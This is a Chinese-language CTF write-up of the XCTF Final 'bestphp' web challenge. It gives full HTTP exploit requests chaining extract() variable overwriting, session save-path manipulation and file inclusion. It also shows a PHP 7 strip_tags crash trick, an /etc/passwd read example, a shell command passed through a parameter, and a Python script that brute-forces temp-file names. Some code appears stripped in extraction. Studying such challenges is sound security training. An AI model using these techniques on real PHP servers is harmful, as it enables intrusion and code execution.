XCTF|XCTF Final Web1 Writeup

Bestphp 这道题提供三个文件index.php、function.php、admin.php
index.php


function.php
$value){ if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){ die('Do not hack me!'); } } } ?>

admin.php
hello admin

解题思路一 变量覆盖,调用文件包含 从index.php可以看出$_GET['function']$_SESSION['name'] = $_POST['name']可控
其中call_user_func($func,$_GET); 回调函数可利用
而且include($file); 调用了文件包含
所以,可以调用变量覆盖函数,覆盖掉$file,从而引入文件包含
payload:
http://10.99.99.16/?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php
一开始只是highlight_file给出index.php的源码,利用文件包含读到了admin.php和function.php的源码,不过对解题没啥卵用。
吐槽点:早上题目的环境是php7.2,extract函数是无法动态调用的,然后中午主办方偷偷改了环境为7.0,也不发公告说一声,浪费了很多时间。
调用session_start函数,修改session的位置 从index.php可以看出$_SESSION['name'] = $_POST['name'],session的值可控,session默认的保存位置
/var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID/var/lib/php5/sess_PHPSESSID /var/lib/php5/sessions/sess_PHPSESSID/tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID

由于ini_set('open_basedir', '/var/www/html:/tmp'),我们包含不了/var/lib/下的session
但是我在tmp下也找不到自己的session,所以这里的session应该是在/var/lib/
这里可以调用session_start函数,修改session的位置
本地的payload:
POST /xctf-bestphp/index.php?function=session_start&save_path=. HTTP/1.1 Host: 127.0.0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*; q=0.8 Accept-Language: zh-CN,zh; q=0.8,en-US; q=0.5,en; q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 21 Cookie: PHPSESSID=lfc5uk0rv8ndmjfv86u9tv6fk2 Content-Type: application/x-www-form-urlencodedname=


XCTF|XCTF Final Web1 Writeup
文章图片
image.png
这里直接把session写到了web根目录,并且内容可控
再利用变量覆盖,调用文件包含,即可get shell
http://10.99.99.16/index.php?function=extract&file=./sess_lfc5uk0rv8ndmjfv86u9tv6fk2
比赛的payload
POST /index.php?function=session_start&save_path=/tmp HTTP/1.1 Host: 10.99.99.16 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*; q=0.8 Accept-Language: zh-CN,zh; q=0.8,zh-TW; q=0.7,zh-HK; q=0.5,en-US; q=0.3,en; q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 41name=

GET /index.php?function=extract&file=/tmp/sess_a9tvfth9lfqabt9us85t3b07s1&x=cat+sdjbhudfhuahdjkasndjkasnbdfdf.php HTTP/1.1 Host: 10.99.99.16 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*; q=0.8 Accept-Language: zh-CN,zh; q=0.8,zh-TW; q=0.7,zh-HK; q=0.5,en-US; q=0.3,en; q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1 Upgrade-Insecure-Requests: 1

解题思路二 王一航师傅发过一篇文章:https://www.jianshu.com/p/dfd049924258
是php7的一个小bug
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

string.strip_tags可以导致php7在执行过程中奔溃
如果请求中同时存在一个文件上传的请求 , 这个文件就会被因为奔溃被保存在/tmp/phpXXXXXX(XXXXXX是数字+字母的6位数)
这个文件是持续保存的,不用竞争,直接爆破,为了爆破成功可以多线程去上传文件,生成多个phpXXXXXX
payload
burp多线程上传文件
POST /index.php?function=extract&file=php://filter/string.strip_tags/resource=function.php HTTP/1.1 Host: 10.99.99.16 Content-Length: 1701 Cache-Control: max-age=0 Origin: null Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeScXqSzdW2v22xyk User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml; q=0.9,image/webp,image/apng,*/*; q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh; q=0.9,en; q=0.8,zh-TW; q=0.7 Cookie: PHPSESSID=17qpuv1r8g19pm503593nddq10 Connection: close------WebKitFormBoundaryeScXqSzdW2v22xyk Content-Disposition: form-data; name="fileUpload"; filename="test.jpg" Content-Type: image/jpeg ------WebKitFormBoundaryeScXqSzdW2v22xyk--

爆破脚本
#!/usr/bin/env python # -*- coding: utf-8 -*-import requests import stringcharset = string.digits + string.lettershost = "10.99.99.16" port = 80 base_url = "http://%s:%d" % (host, port)def brute_force_tmp_files(): for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset: filename = i + j + k + l + m + n url = "%s/index.php?function=extract&file=/tmp/php%s" % ( base_url, filename) print url try: response = requests.get(url) if 'wwwwwwwwwwwwww' in response.content: print "[+] Include success!" return True except Exception as e: print e return Falsedef main(): brute_force_tmp_files()if __name__ == "__main__": main()

【XCTF|XCTF Final Web1 Writeup】爆破成功后,得到成功文件包含的shell
http://10.99.99.16/index.php?function=extract&file=/tmp/phpXXXXX

    推荐阅读